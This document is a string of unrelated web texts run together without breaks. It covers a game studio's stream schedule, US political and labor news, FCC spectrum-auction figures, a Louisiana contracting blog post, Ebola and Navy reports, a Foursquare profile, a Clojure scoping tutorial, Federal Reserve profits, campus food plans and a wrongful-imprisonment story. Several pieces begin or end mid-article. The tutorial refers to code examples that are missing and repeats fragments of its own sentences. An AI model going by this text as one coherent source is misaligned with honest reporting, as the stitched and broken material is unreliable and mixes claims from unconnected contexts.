There will NOT be a stream this Thursday, 2/16 as the team is traveling down to LA to give a Stonehearth update to the rest of Riot Games. We’ve made a lot of good progress this year, so we’re really looking forward to showing them all the things we’ve made together with you. 🙂
There’s a bunch of other personal and work-related travel coming up for all of us, so here’s the DT and stream schedule for the next few weeks:
Week of 2/13 – No stream on Thursday, 2/16.
Week of 2/20 and 2/27 – No Desktop Tuesdays, but streams should happen on Thursday 2/23, and 3/2
Week of 3/6 – Neither Desktop Tuesday nor Stream, as the team is heading to Boston for PAX East
Week of 3/13 – No Desktop Tuesday, but stream should happen as usual on 3/16
Andy Puzder said in a Saturday statement according to RealClearPolitics as circulated by Trump’s transition team, in a sign he’s genuinely changing on the issue from prior controversial statements:
My job as a business person is to maximize profits for my company, employees and shareholders. My job as the Secretary of Labor, if confirmed, is to serve U.S. citizen workers – that is my moral and constitutional duty. The public spoke loud and clear in this election, and delivered a mandate to protect American workers. It makes no economic sense to spend trillions on welfare and jobless benefits for out of work Americans while bringing in foreign workers to fill jobs in their place. As Secretary of Labor, I will fiercely defend American workers and implement my piece of the ten point plan the President-elect laid out. President-elect Trump’s plan to establish new immigration controls will boost wages and ensure that open jobs are offered to American workers first. Hire American and Buy American is our policy, and the one supported by voters in both parties. I will not provide guest worker visas to companies that break the rules, and will support reforms to raise wages for Americans — I know the system from the inside, and will be the best champion American workers have had. With 94 million Americans outside the labor force, and massive unemployment in our inner cities and among minority workers, my job will be to help these workers find jobs. We also have large unemployment in our immigrant communities, and these communities benefit the most from clamping down on guest worker programs that compete against them.
It’s unclear if this will be enough of a shift on the issue, but it is a complete repudiation of things he’s said in the past that drew some sharp criticism off the bat once Trump nominated him.
Puzder, the CEO of CKE Restaurants, which includes Carl’s Jr. and Hardee’s fast food restaurants, previously said multiple times he wanted to bring in foreign workers to supplant American workers.
“The fact is that there are jobs in this country that U.S. citizens, for whatever reason, are reluctant or unwilling to perform,” Puzder wrote in a Politico oped in 2013.
“Immigrants appreciate what America offers,” Puzder said another time when he was lobbying for immigration bills in Washington, D.C., according to the Washington Post. “They are not taking jobs from Americans, because there are not sufficient Americans applying for jobs. Maybe they feel they have better options.”
The 12 who definitely said they were going off the air after they got their multimillion-dollar auction payouts were required to do so by Oct. 25 and, according to the source, everybody did.
But an additional 14 TV stations (up from a dozen a few weeks back) have also gone off the air as of that date, according to FCC figures. Those were stations that checked the box saying they planned to share, but for some reason decided not to and turned in their licenses instead.
There were 175 stations that got payouts--over $10 billion--for various moving and exiting options in the auction, with 30 of those getting paid to move from a UHF to a VHF channel or from a high to a low V, which left 145 who opted to give up their spectrum.
Of those the 12 who said they were going off the air had to do so by that Oct 25 date. The remaining 133 said they were giving up their spectrum but were planning to stay on the air by sharing spectrum with another station in the market.
They did not have to follow through with that sharing plan, however, just give up the spectrum.
So, of those 133 sharing box-checkers, 14 have gone off the air instead, which leaves 119. Those 119 have until January 23 to either strike a sharing deal or go off the air, with the caveat that if they are having issues with those sharing agreements they can file for a waiver for a little extra time, but must do so by Nov. 24.
So far, 37 have signaled to the FCC they have such sharing deals, which leaves 82 whose fate was still unknown at press time.
When asked about the no-bid contract, LED responded by pointing out that contracts for social services may be awarded “without the necessity of competitive bidding or competitive negotiation,” provided the director of the Office of Contractual Review determines that certain conditions apply, one of which is that the total contract amount is less than $250,000 per 12-month period. At the same time, LED’s response acknowledged that service requirements “shall not be artificially divided so as to exempt contracts from the (RFP) process.” And that’s where things get a bit dicey. LATRAC, the state database for contracts, lists the amount of Contract no. 718453 as $717,202 over three years (Oct. 20, 2012 through Sept. 30, 2015) while the LED contract document breaks the contract into three amounts: $217,204 the first year and $249,999 in the second and third years.
LR3’s contract certainly appears to be “artificially divided” in order to circumvent the competitive negotiation process. It’s important to note: If this contract was, in fact, awarded without a competitive Request for Proposal process, it is likely no one else could have known to even apply for this work; it was just handed out.
For months, Mr. Rainey has served as the face of a campaign that, if successful, would result in the creation of the fifth largest city in the State of Louisiana, a city that, ostensibly, would be named St. George. I may catch some grief for using the word “secession” in my headline, but I think it’s a fair and accurate description: If Mr. Rainey’s campaign is successful, it would drain as much as $53 million a year in revenue from the City of Baton Rouge.
Tom Aswell’s report made me wonder whether anyone else associated with the St. George campaign has benefited substantially from government contracts. It didn’t take me long to find an answer to that question, and frankly, I am surprised no one else has mentioned this before.
Joshua L. Hoffpauir is listed as the registered agent and as an officer of the Committee for the Incorporation of St. George LLC.
Mr. Hoffpauir is an architect and the owner of Hoffpauir Studio. Although he claims that the St. George campaign is his first real foray into politics, both the State’s database on contracts (in which his name appears more than a dozen times) and Mr. Hoffpauir’s own website reveal that his firm specializes in government projects, including, most notably, community master planning. Indeed, his website quotes a glowing recommendation from the Mayor of Eunice, Louisiana, praising his company for their award-winning work on the Eunice City Lake project.
To be clear, there is no evidence to suggest that Mr. Hoffpauir, unlike his colleague Mr. Rainey, received contracts for work that somehow wasn’t subject to the state’s laws on competitive negotiation process. What is clear, however, is that his company has also made a fortune from state, parish, district, agency, and municipal contracts.
From their page on government and civic architecture:
And here’s a capture of their portfolio on master planning:
And it looks like professional work. That, to me, is not their real problem.
The problem is two-fold: First, it is difficult to take seriously a claim that the government has neglected you and your community when you, personally have made a fortune from the government, and second, it is impossible to discount the massive architectural and planning projects that would be created if and when St. George incorporates. This isn’t merely about building a couple of new fire stations; it’s about planning and designing an entirely new city. If you’re leading a campaign to create a new city and you’re an architect and an urban planner, this is your dream job.
St. George proponents claim this is primarily about building a new school system. As luck would have it, Mr. Hoffpauir specializes in civic, government, and educational architecture.
MONROVIA, Jan 13 (Reuters) - Liberia is on the verge of containing the spread of the Ebola virus with only two of its 15 counties reporting new infections, the head of the country's Ebola response said on Tuesday.
Tolbert Nyenswah, who is also a deputy health minister, said the new cases were reported in Montserrado county, which includes the capital Monrovia, and Grand Cape Mount, on the border with Sierra Leone.
Bong, Nimba, Sinoe, and Margibi counties have not reported a single case since the end of December, he said. According to the World Health Organization (WHO), Bong, Nimba and Sinoe have gone 21 days without a positive case - the maximum incubation period for the virus.
"If we can go at this rate ... and maintain this trend, we will advance to zero for the entire country soonest," Nyenswah said, without setting a specific date.
Liberian officials had previously set a December 31 target for zero new infections. The rate of Ebola transmission has slowed in recent weeks in Liberia, one of the West African nations hardest hit by the outbreak.
The worst epidemic of the virus on record has killed more than 8,371 people and infected some 21,171 in Liberia, Sierra Leone and Guinea, according to WHO figures released on Monday. More than 3,515 of the dead were from Liberia, it said.
United States aid agency USAID said on Tuesday that new Ebola cases in Liberia have plunged while Sierra Leone, currently the worst-affected country, was beginning to turn the corner in dealing with the virus.
But focus was now Guinea, where the infectious haemorrhagic fever was first detected in March, a USAID official said.
Tom Frieden, director of the U.S. Centers for Disease Control and Prevention, said on Tuesday that he was confident that the outbreak can be brought under control.
(Reporting by James Harding Giayhue; Writing by Bate Felix; Editing by Dominic Evans)
But comments he made yesterday suggest that James may not return for a fourth ceremony, should his team win during President Elect Donald Trump‘s administration. James was noncommittal when asked about a possible visit to Trump’s White House.
“I don’t know. That’s something I would cross,” James said, as reported by the Akron Beacon-Journal. “We’ll have to cross that road, I guess. We’ll see. I would love to have to cross that road.”
Teammate Richard Jefferson went a little further.
“I just look across this league, there’s been other players with ‘scheduling conflicts’ as they like to call it,” Jefferson said. “Not necessarily a political stance. But I could see other ‘scheduling conflicts’ coming up. More than anything, you have to respect the presidency. If you have different views, you’re allowed to have different views. That’s what’s amazing about this country. We’re not going to imprison people with different views. But if you want to stand up and you want to say, ‘Hey look, my views don’t coincide with this current administration,’ then you have opportunities, especially being leaders in your respective communities.”
Jefferson also posted a photo to Snapchat which he captioned, “Words cannot express the honor I feel being the last team to visit the White House tomorrow,” suggesting teams in other sports may also decline a White House invite during Trump’s Presidency.
[image via screengrab]
Follow Joe DePaolo (@joe_depaolo) on Twitter
In response to the crew's discussion question -- "Is it ever OK to shush a woman?" -- there were some fair points raised. Co-host Harris Faulkner noted the possibility of journalists doubling down in the face of disrespectful behavior (a more "Lean In" approach, perhaps), while Kennedy Montgomery noted that she's been shushed as a female anchor more times than she could count. But Fox contributor and known blowhard Keith Ablow was also on the couch, so there was also the stuff he said.
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"I have a completely different take on this, and I don't know if it relates to my gender or the fact that I'm too narcissistic, but I would take it all as good humor," Ablow said. "I think it's sort of playful and warm. It's almost like what you would do at home ... It wouldn't bother me. I don't find it that demeaning to be shushed."
Ablow then conceded that he has never, in fact, shushed his own wife at home, and told co-host Andrea Tantaros he isn't sure he would ever shush a woman. Montgomery cut in and called bullshit.
"Go back and watch the interview you and I did last year, Dr. Ablow," Montgomery said.
"Honestly, that was a therapeutic intervention," Ablow responded.
Watch the segment below:
Beyond the product implications for Twitter, this deal highlights an aspect of Foursquare that the company is eager to tout: Namely, that Foursquare is sitting on a mountain of data that is valuable enough for a social media giant like Twitter (TWTR) to pay for it.
“The Foursquare platform is a pretty fast-growing SaaS business compared to the other new SaaS businesses we’re invested in,” says Ben Horowitz, a partner at Andreessen Horowitz and board member of Foursquare, using the acronym for software as a service. “To build [Foursquare’s data business] from nothing would be exceptionally difficult.”
Questions have swirled for years about the fate of Foursquare, a beloved New York startup that many believe fell victim to the hype cycle. With $121.4 million in venture backing (and $41 million in debt) but waning popularity with users, the company has spent the last chapter of its life fighting the impression that it is struggling. Last fall, the company made its biggest bet yet: It split its namesake app into two. Swarm, a new app, is for checking in and sharing your location with friends. The existing Foursquare app is now solely for recommending restaurants and other venues based on your preferences and location.
Foursquare is now working to tell the story of the data it has gleaned from seven billion check-ins at 65 million places. (It also has 70 million user-generated tips and 90 million “tastes.”) More than 85,000 developers have built products using Foursquare’s data. As of last year, most of those developers do not pay to access the data, but income from those that do pay is poised to make up a third of Foursquare’s revenue this year. The majority of the company’s revenue comes from advertising products. Dennis Crowley, Foursquare’s chief executive, said the company has “more than doubled” its revenue each year for the last three years.
The social media data business is a tricky one; many hopeful startups have excitedly gathered data from Tweets and status updates and Likes but struggled to figure out a compelling business use for it. Foursquare is different, Horowitz tells Fortune, because its data contains context and insights around a user’s preferences. “You can’t collect a bunch of data and sell it to people and have that be a business,” he says. “What you can do that can be valuable as a business is collect a lot of data and through some kind of very smart thinking and software, gain valuable insights out of the data.”
Foursquare’s data partners include prominent social networks such as Google’s Waze, Yahoo’s Flickr, Twitter’s Vine, and Pinterest, and mobile systems like Cortana, Microsoft’s answer to Siri. Waze is particularly notable because the company is owned by Google (GOOG), which collects its own location data through Google Maps. Waze chose Foursquare because of its ability to provide strong recommendations. Still, Foursquare has competition. Last year, Instagram switched from using Foursquare’s location data to using Facebook’s equivalent.
Despite challenges, Crowley has remained focused on his vision of personalized local search and recommendations. That’s what makes the Foursquare story so compelling. Crowley has done things that might look crazy—turning down sizable acquisition offers and putting off life milestones (as articulated by a feature story in Fast Company)—to build his vision. He’s even built the same company twice. (The first iteration, Dodgeball, sold to Google and was eventually shut down.)
Horowitz believes Foursquare can be a startup unicorn, the term for a private company valued at more than $1 billion. “They’re not a billion-dollar company yet. But I think they’ve got a lot of ways to get there,” he tells Fortune. (For a look at today’s unicorns, see Fortune‘s Unicorn List.)
Crowley views success as getting his product into the hands of hundreds of millions of users, he says, admitting that that’s a huge challenge. The company has 55 million registered users. It won’t disclose how many of those are active, except to say that last year’s app split send one third of active users to Swarm and one third to Foursquare, with one third using both. Crowley notes that Foursquare can be a success without that many users. “Local search monetizes so well, we can be a successful company with a fraction of the users that Twitter and Facebook has,” he says.
His vision includes Foursquare-powered recommendations and location data in many different use cases. “The future of mobile experiences is this proactive element—teaching people stuff about the world without them having to ask,” Crowley says. “I think we’re ahead of that trend and we’re going to end to powering it for a lot of these players.”
Background
A “scope” in computer science is a context that is created to encapsulate the values of variables (or symbols in clojure) to smaller pieces of code. Without any scopes, every variable would be global. Can you imagine if every time you used the variable x or i you had to worry about interfering with another piece of code? Luckily, most sane languages provide a means of creating and restricting the scope of variables. Some languages (eg. Clojure, Common Lisp, Perl) have two means of controlling scope, lexically (aka static) and dynamically.
Clojure Terminology
These are a few basic clojure terms you will need to know to understand the rest of this post.
A symbol is similar to an identifier in other languages. Symbols are used to associate values with common names. In an imperative language like PHP you might say something like “$x = 5;”. Now the variable $x equals 5, in clojure semantics I would say the symbol x is associated with the value 5. Clojure has an opinionated philosophy on separating identities and values.
is similar to an identifier in other languages. Symbols are used to associate values with common names. In an imperative language like PHP you might say something like “$x = 5;”. Now the variable $x equals 5, in clojure semantics I would say the symbol x is associated with the value 5. Clojure has an opinionated philosophy on separating identities and values. A value is just actual data, such as a number, string, function (code is data), vector, object, etc..
is just actual data, such as a number, string, function (code is data), vector, object, etc.. A var is a way of tying a symbol to a potenitally changing value; they are created using the def macro. This will be covered in more depth when I cover dynamic scope.
Lexical Scoping
The lexical scope of a symbol is the “textual region” (aka code block) where the symbol definition occurs, plus all child code blocks. You can imagine your code creating a tree of code blocks that the compiler can traverse. What defines a code block is dependent on the language. Lexical scoping is by far the most common amongst all modern ALGOL-influenced languages (C, Java, etc). When the compiler is trying to resolve a reference to a variable, it will first look in the inner-most scope and continue up the levels of scope (code blocks) until it finds its declaration. Lexical scope is sometimes called static scope since all symbol references can be resolved at compile-time, as opposed to dynamic scope which needs runtime information. In this C example below the variable i is available within the for and while loops, because the while loop is below the for loop. However, i is not available outside of the for loop since that is above the scope in which the variable was defined.
This is the scope you will be using in clojure the vast majority of the time. The main difference is the scope blocks are declared explicitly by the programmer in clojure rather than by the syntax of the language. In clojure, a lexical scope region is defined by a let block. In the code example below, x, y, and add are all symbols that are associated with the values 3, 5, and a function that adds all of its arguments, respectively (remember functions are first-class values).
The lexical environment is encapsulated by the parentheses (aka parens) surrounding the let block, which means as soon as I close the let statement, those symbols go back to their original values. Here’s a more complex example:
The def statement on the first line creates a new global var with the value 2 and associates it with the symbol z, which is similar to how constants would be used in other languages. In this example, we defined a new let block within the previous one. Remember, when the compiler tries to resolve a symbol it will recursively go up each scope block until it finds the first symbol definition that matches. In the inner let block we used the symbol z, which already had a global definition. In this case, z is being shadowed by the value 10. As soon as we exit the let block, the value of z will return to its global definition. So by using let blocks to declare your local symbols, you never have to worry about overwriting some global value like you would in PHP or JavaScript. One thing to remember about lexical scoping is that it only deals with the text inside of the let block. So even though I called add-3-to-z while the local value of z is 10, the text defining the function add-3-to-z is outside of the let block so it defers to the global value of z.
In this last example, while inside a let block, I create and return a function that takes 1 argument and adds it to the value of x. Since the code that created the function was within a let block, the value of x is 1 even if the function is called outside of the let. Due to the fact this function retains its scope at the time of creation, it is said to “close” over the lexical environment. This type of function can be referred to as a lexical closure, or just closure for short (this is where clojure gets its name).
Dynamic Scope
Dynamic scope is another method of resolving symbol names. A dynamic scope environment is created using the binding macro, which syntactically looks like let, but has some big differences:
You can’t create new symbols. Every symbol has to be associated with a previously initialized var. The initialized vars also have to be defined as “dynamic”. The new bindings affect the entire call stack, not just the immediate text region. The bindings that are created are pushed onto a thread-local stack and cannot be shared between multiple threads.
We can’t make up new symbols, so we have to shadow existing vars. This seems like a restricted version of let initially, but after a few examples the purpose of dynamic scope will hopefully be made clear. We already know we can make new vars using def, which, as I mentioned before, act like constants. The exception to that rule is when they are defined as dynamic. Functions defined with defn are stored in a var, and so they can also be declared as dynamic (the defn macro uses def internally). A var can be defined as dynamic simply by adding “:dynamic true” to its metadata. Let’s take a look at this next example:
[NOTE: Before clojure 1.3 all vars were implicitly dynamic, which means there is a lot of broken code on the internet (including the official clojure website at the time of this writing)]
The vars x, y, and sum-of-squares are all declared to be dynamic at the top of the file. The function sum-of-squares-for-x-and-y calculates the sum of squares for the vars associated with the symbols x and y. Remember x, y, and sum-of-squares refer to vars and not values, the value of the var is looked up every time this function is run. When the clojure runtime encounters a var, it first checks for any thread-local bindings, if it can’t find any it will return the root value of the var which is shared by all threads. So in the above example when we first call sum-of-squares-for-x-and-y, all of the vars referenced in the function definition defer to their root binding. Next, we push new bindings on to our thread-local stack and call the same function, and now the function uses these new values and returns a different result. The key point here is the entire call stack below the binding point is affected, not just the text within the binding block. Once we end the binding block, the values get popped off the stack and return to their root value.
In the above example, we have a function that returns an adder function for the var x just like we did earlier using a let block. Since x is a var, the value is determined at the time the function is run, not when it is created. You cannot close over a dynamic scope! In the example below I got around this by lexically shadowing the var x with its current dynamic value.
So why would you ever want to use dynamic scope over lexical? Let’s take a look at how dynamic vars are being used in the core clojure library. The stdin and stdout file handles, which many core I/O functions use (eg. println, read), are defined by the dynamic vars *in* and *out* (by naming convention, dynamic vars are wrapped in asterisks (aka earmuffs)). Maybe you want your application to print its output to some log file instead of stdout. We can simply dynamically re-bind the *out* var at the base of our application.
Now the println function (and any other function that uses *out*) will print to log.txt. Let’s try something a little more complicated. Say we have a multi-threaded application and we don’t want the print output from each thread to be intertwined with each other. One way we could accomplish this is to have each thread print to its own log file. Since each thread maintains its own stack of bindings, this is trivial to do.
Now each threads’ print statements will go in to their own files. Note that it is rare to directly make java threads like this in clojure since clojure already has more expressive concurrency primitives (agents, futures, pmap, etc). However, since those all use threads internally these same binding rules apply which can lead to unexpected results. Some other use cases of dynamic scope include the following:
You can debug function calls by dynamically overriding that function to print every time it gets called. Checkout clojure/tools.trace for the excellent dotrace macro.
The clojure/java.jdbc library uses a dynamic var *db* so that you don’t have to pass in a database connection to every function call. You can just use the with-connection macro to bind *db* to the database you want to use, and then perform any database queries within the body of the macro.
It allows you to mock functions that have side-effects to make them more unit-testable.
If you look at the clojure core library you will find a lot of other use cases. For example, the current namespace is stored in *ns* and you can use the in-ns macro to temporarily bind that to some other namespace and dynamically add functions to the newly bound namespace.
Conclusion
The Fed, like Newt Gingrich, was hatched in secret one hundred years ago, on a small island off the coast of Georgia. It was created to bring order to a chaotic banking system in the wake of a string of financial crises around the turn of the century. What's gotten the mainstream media buzzing about the bank of late is the fact that, for the first time in it's century-long history, a woman will be running the show. As many have pointed out, incoming chairperson Janet Yellen may in fact become the most powerful woman in the world upon her ascension on February 1st.
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The Fed is not quite a government entity but it is not quite a private corporation either; it is something of a hybrid between the two and enjoys the dual benefit of that perception. Its role in the economy is to direct monetary policy (mainly by setting various interest rates), supervise the banking system (LOL), and maintain some semblance of stability in the economy by managing prices and employment to the extent it can.
It also makes a metric ass-ton of money in the process, kicking this cash back upstairs to the U.S. government that permits it to operate.
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How profitable is the Federal Reserve?
Victoria McGrane's story at the Wall Street Journal tells us about the Fed's incredibly lucrative 2013 (emphasis mine):
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The Federal Reserve sent about $77.7 billion in profits to the Treasury Department in 2013.
The Fed in a statement released Friday said it made an estimated $79.5 billion in net interest income, a total largely driven by the $90.4 billion in interest income it made on its portfolio of Treasurys, mortgage bonds and other securities.
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Okay, that's a lot of money, topped only by the record $88 billion generated in 2012. And obviously these totals are elevated because of the institution's many stimulus programs, such as the various quantitative easings (QE1, QE2, QE3: The Search for Spock), Operation Twist, and whatnot.
McGrane tells us that the annual cost of running the 12 Federal Reserve Banks and funding the operations of the new CFPB regulatory body is around $5.7 billion. So, while the Fed is not necessarily a private "business" per se, it is an obscenely high-margin quasi-corporation, with around $80 billion in after-cost profits.
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How does the Fed's profitability compare to America's other gigantic businesses?
For starters, the $90 billion or so in total interest income the central bank's portfolio paid out is equal to about one-third of all corporate dividends paid by U.S. companies in 2013 ($311.8 billion).
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The Federal Reserve, after operational costs, is earning double the profits of Exxon Mobil ($44 billion) and Apple ($41 billion), and those two companies are doing a combined $600 billion in global revenues! The Fed is in a much better business than finding oil or making phones - instead it merely sits atop a $4 trillion portfolio of mostly risk-free bond investments and is the de facto ultimate decider of what the interest payments are going to be. Not bad work if you can get it.
If we just compare the profits of the Fed's net interest income after expenses to the rest of the banking sector, we see that it is equal to the profits of the ten largest financial institutions put together! The most recent annual profits of JPMorgan, Bank of America, Wells Fargo, Citigroup, Goldman Sachs, American Express, Capital One Financial, US Bancorp, PNC and Bank of New York Melon total up to $78.3 billion, just shy of the Federal Reserve's vig.
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According to outgoing chairman Ben Bernanke, the bank has sent more than $350 billion to the Treasury since 2009, which is equal to the total amount it had sent during the entire 18-year period before the financial crisis began. Not a bad flow of funds to find oneself in the middle of. It's good to be the Fed.
Related from The Daily Beast
The 30-second ad, which the self-described center-right "action tank" American Action Network ran as part of a $500,000 campaign, contended that the CFPB was designed to interfere with American's financial decisions and urges people to call on congress to stop the agency.
In addition to targeting the agency, the ad also took aim at Warren, who helped create the CFPB, visually comparing her to a communist dictator.
While the senator said she can take the personal attacks "working families who need the CFPB can't - not when they've been crushed, squeezed and hammered by the big banks and their friends in Washington for years."
"It's up to us to fight back," Warren said in an email urging supporters to raise $30,000 - the same amount she contended AAN spent to run the ad.
Arguing that Wall Street has a problem with the agency because it's working and popular with families, the senator said opponents see spending money on such an ad as "nothing compared to the money they can save if their Republican buddies will go after the agency."
"The CFPB will keep on doing its job, but we're here to make sure that it can keep doing its job," she added. "We fought to build the CFPB because we believe that no one should get cheated on a mortgage, credit card, car loan or any other credit product - and we're ready to say loud and clear that we will keep on fighting to protect this agency."
Warren, who also took to Twitter to blast the AAN ad in several tweets, further argued that "The @CFPB has forced the big financial companies to return more than $11B to people they cheated on credit cards, mortgages, etc. #GOPDebate."
AAN President Mike Shields, however, contended that it's time to spur a national discussion about major regulations issued through what he called "the unaccountable CFPB."
"Elizabeth Warren's CFPB is unilaterally handing down regulations that ultimately hurt the people they claim to be helping, particularly middle- and lower-income Americans trying to get ahead in a terrible economy," he said in a statement. "We want voters to know the truth about this rogue agency and to call on national leaders and Congress to stop the CFPB."
In the coming year, students can expect food trucks on campus, more variety at outlets, better dietary information, and more. By the summer of 2018, campus will be open to independent food providers.
“Director Glenn Read and his TRU Food Services team have demonstrated a concerted effort to understand and address students’ concerns,” said Mwansa Kaunda, Student Caucus Chair, “and they really stepped up in seeking out and creating innovative partnerships and solutions.”
Food services satisfaction ratings in the Student Budget Consultation survey showed there was need for substantial change. TRU Food Services has committed to a series of actions related to each of the food services recommendations in the Student Budget Consultation Report 2017/18:
To introduce market competition to campus food services: Permit a select number of local food trucks onto campus starting in Winter 2017
Work with various food companies to introduce a broader range of food options/concepts at the International Café and Upper Level Café in Winter 2017
Determine a broader range of food options and a redesigned layout for the Trades Café in Fall 2017, to be implemented in conjunction with the new Industrial Training and Technology Centre in Winter 2018
Allow private food service providers on TRU Community Trust properties (not bound by the exclusivity contract) in Summer 2018 To address nutritional deficiencies and accommodate dietary restrictions: Provide nutritional information on the TRU Food Services website and the TRU GO app starting in Winter 2017
Provide signage outside each food outlet indicating available dietary choices and hours of operation starting in Winter 2017 To extend food service hours of operation: The Den extended its hours of operation by four hours to 10:00PM Monday to Friday and changed to an all-ages venue starting Fall 2016
Tim Horton’s extended its hours of operation by one to two hours on Monday through Thursday starting Fall 2016
Additional hours at other outlets will be considered based on events or overall campus activity on an ongoing basis To improve the promptness of food service: Continue to work with district managers from Tim Horton’s and Starbucks to streamline processes and reduce wait times
Install “line up” cameras at Tim Horton’s and Starbucks that can be viewed on the TRU GO app starting in Winter 2017
These changes improve the availability of and information about wider food options on campus, and are expected to address key issues of value, hours, and variety.
“Students were hungry for choice,” Kaunda continued, “and we are excited to work with TRU on what each stage of their proposed improvements will put on the menu.”
To stay up-to-date on all of TRU’s responses to your priorities, check out the Student Budget Consultation webpage!
For more information contact:
Mwansa Kaunda
Student Caucus Chair
caucus@trusu.ca
(250) 828-5289 Alex McLellan
University Governance Coordinator
governance@trusu.ca
Check out the Full Response from TRU Food Services Here!
Some pollsters argue that the likely voter screen was the main or whole reason that the polls were off in 2012. This may be true for the best pollsters, who generally came closer to the results and employed many of the best practices to correct for nonresponse. But it is harder to say whether screens are the main problem for other pollsters, who are not taking nearly as many steps to ensure a representative sample.
Anti-Republican Bias?
There is a twist to this situation, in that Republicans were the ones who spent much of 2012 asserting that polls were biased against them. But Mr. Keeter and others agree that there is no list of similarly good reasons to believe that surveys miss Republican voters. A past concern of his was the possibility that Republicans wouldn’t respond to polls branded by mainstream news media sponsors, but numerous studies have shown otherwise.
Another possibility is that young or nonwhite interviewers — if these aspects of their identity were evident in their voice — might have a problem earning the cooperation of older, conservative, white Republicans. A similar phenomenon plagued the exit polls in 2004. But a postelection study by Gallup found that the gender or race of interviewers in their pre-election phone surveys had little effect on whether respondents were more or less likely to cooperate or to support President Obama.
For now, the sources of potential bias will tend to increase the likelihood that the polls overstate the standing of Republicans. But this is by no means assured.
The polls will usually be fairly accurate, given the various ways pollsters are trying to respond to the problems. They might be more likely to be accurate in a midterm year like 2014, when just about every source for bias seems less likely to be a factor. The young, mobile, new and Hispanic voters missed by telephone surveys are much less likely to vote in midterm than presidential elections. This year, there are also relatively few Hispanic voters in the Senate battleground states; only Colorado has a modest-size Hispanic population.
Speaking to the press at the Surface Navy Association meeting Tuesday in Crystal City, Va., Vice Chief of Naval Operations Adm. Bill Moran said the transition team “has really been open-minded” and asked probing questions about the service’s plans for the coming budget deliberations understanding the department is currently operating now under a continuing resolution.
Moran said he and CNO Adm. John Richardson, have met with the team twice, but the team meets with different departments in all the services more often to gain an understanding of how the Pentagon operates.
He added Undersecretary of Defense Bob Work stressed to all the services that he wanted the transition to be as smooth as possible so the incoming administration can “decide how much they want to do” with existing budgets and projected spending.
That also means almost certainly revising projections and re-doing the budget.
Moran said the Navy is “lucky to get 90 percent” of what it needs in its readiness accounts.
In talking with the press and in his address, he said, “It is really hard to see the light at the end of the tunnel” if maintenance is continuously deferred, causing ships to be in the yards far longer in the yards than expected with costs rising commensurately.
“Deferred maintenance is insidiously taking its toll.”
Not only does this add greater risk and a growing gap between the combatant commanders’ requirements and what the service can deliver, “you can’t buy back that experience” and proficiency sailors lose when they can’t use their skills at sea.
“At some point, we have to dig ourselves out of the hole,” Moran said in his address,
One announced goal of candidate Trump was to increase the size of the Navy to 350 ships. Last month, the service released its latest Force Structure Assesment which called for 355 ships.
During his address, Moran mentioned several independent studies the Navy started before the presidential campaign began and the conclusions of all were to have a fleet of that size. “We stand by that work.”
Citing the nine continuing resolutions the Pentagon has operated with at the beginning of the fiscal year, the threat of across-the-board cuts of sequestration and agreed upon budget caps, he said there is no guarantee that there will be more money to buy more ships.
If there is more money, Moran said the Navy has a plan which kinds of ships would be first to build.
As for tough questioning on Capitol Hill on acquisition or “cultural issues,” Moran said in answer to an audience question, “Politics are what they are.” It was important to recognize “there are two parties there” and “you can’t go in with an absolute position” when testifying or meeting with congressional leaders.
"Men who committed heinous crimes could sleep peacefully but I would just lay awake in agony," says Raja.
At age 46, Raja Hussain has returned home after spending 22 years in prison for a crime of which he was finally acquitted. When he was first arrested, he and his wife had a one-year-old son and were expecting their second child.
He didn’t get to watch his daughter being born, take her first steps, grow into a young woman and get married. He didn’t get to see his son through his school years, watch him graduate with an Engineering degree or get his first job.
"There is no bigger punishment than being imprisoned for a crime you did not commit," says Raja Hussain in a rasping voice. The distinct gravelly texture of his voice, he says, comes from over two decades of near complete solitude in prison.
Raja was amongst the six men convicted for the brutal murder of Hindu Munnani President Rajagopalan in 1994. In the investigations that followed this sensational crime, three suspects from Coimbatore and three from Madurai, including Raja, were arrested. A case was registered against the accused under the provisions of the Terrorist and Disruptive Activities (Prevention) Act.
74 pieces of documentary evidence, 13 pieces of material evidence and 32 prosecution witnesses were examined before a TADA court in Tirunelveli directed that all the accused be imprisoned for life.
However, 22 years after the iron scrap merchant lost his faith in the judiciary, the Supreme Court finally came to his rescue. On April 30, the apex court set aside the conviction of all six accused and stated that the criminal proceedings for prosecution under the TADA Act were entirely vitiated. The Bench comprising Justice Pinaki Chandra Ghose and Justice RF Nariman held that even the sanction order was illegal.
The sole breadwinner of his family when he was arrested, Raja has spent the most productive years of his life staring at prison walls, while his family struggled in the outside world to make ends meet.
"What was I coming back to? A son who could hardly recollect memories with his father, a daughter whose birth I was not even present for and mounds of debt that had collected while I was rotting in jail," he says forcefully.
A free man bound by shackles of his past
On May 16, Raja Hussain walked out as a free man from the Cuddalore central prison but there is no elation evident in his voice as he describes this moment. "For 22 years, I prayed to Allah every night and hoped that at least he would hear my voice. I was kept all alone in a cell. Do you know how painful it is to be lonely?" he asks, his voice breaking.
"Do you know how it feels to be treated like an animal? To be told when to sleep, when to eat and what to eat? I do not wish that fate upon my worst enemy," he adds, in almost a whisper.
It was only after being arrested, Raja says, that he first learned who the leader he was accused of murdering even was. To make matters worse, he conversed for the first time with his co-accused only after they were all imprisoned for life, he claims.
"My only crime was that I was born a Muslim and into a poor family," he says. "Men who committed heinous crimes could sleep peacefully but I would just lay awake in agony," he adds.
A family left behind
After he was accused in the murder case, Raja's relatives allegedly began to distance themselves from his family, afraid that they would be targeted by the police too.
And shifted seven times between four prisons in Tamil Nadu, Raja could not even offer his family the chance of seeing him regularly. While they tried to visit him at least once every month, there were many months when they simply couldn’t afford to do so.
While Raja was stuck behind bars, it was his elder sister who came forward to help his family. She ensured that his son completed his Engineering degree and even managed to get his daughter married, despite the stigma that inevitably came from mentioning that her father was in prison.
"My sister's love for me kept my family alive. I am forever indebted to her," says Raja. "But now, I owe her so much money and will have to repay all that she has done for us. At the age of 46, when most people settle down, I will have to figure out my life and how to stand on my own two feet," he laments.
But before he goes on to tackle the outside world Raja has challenges within his own home. "My son is educated and a good man. All these years he has told his friends that his father is abroad. My family has lived a lie outside our immediate surroundings. Perhaps my biggest challenge would be to reconnect with him," he says.
The unexpected passing of Supreme Court Justice Antonin Scalia immediately set lawyers and politicians talking about who would get the nod from President Barack Obama to fill Scalia's slot.
However, Senate Majority Leader Mitch McConnell's vow to not confirm any nominee during the remainder of Obama's term creates an awkward dynamic around any potential pick.
Story Continued Below
Whoever is nominated will have to consider the possibility of being in limbo for a year or more, if the Senate fails to act during the election year. However, that person might also have a leg up on being nominated by Hillary Clinton, if she wins the nomination and the general election in November.
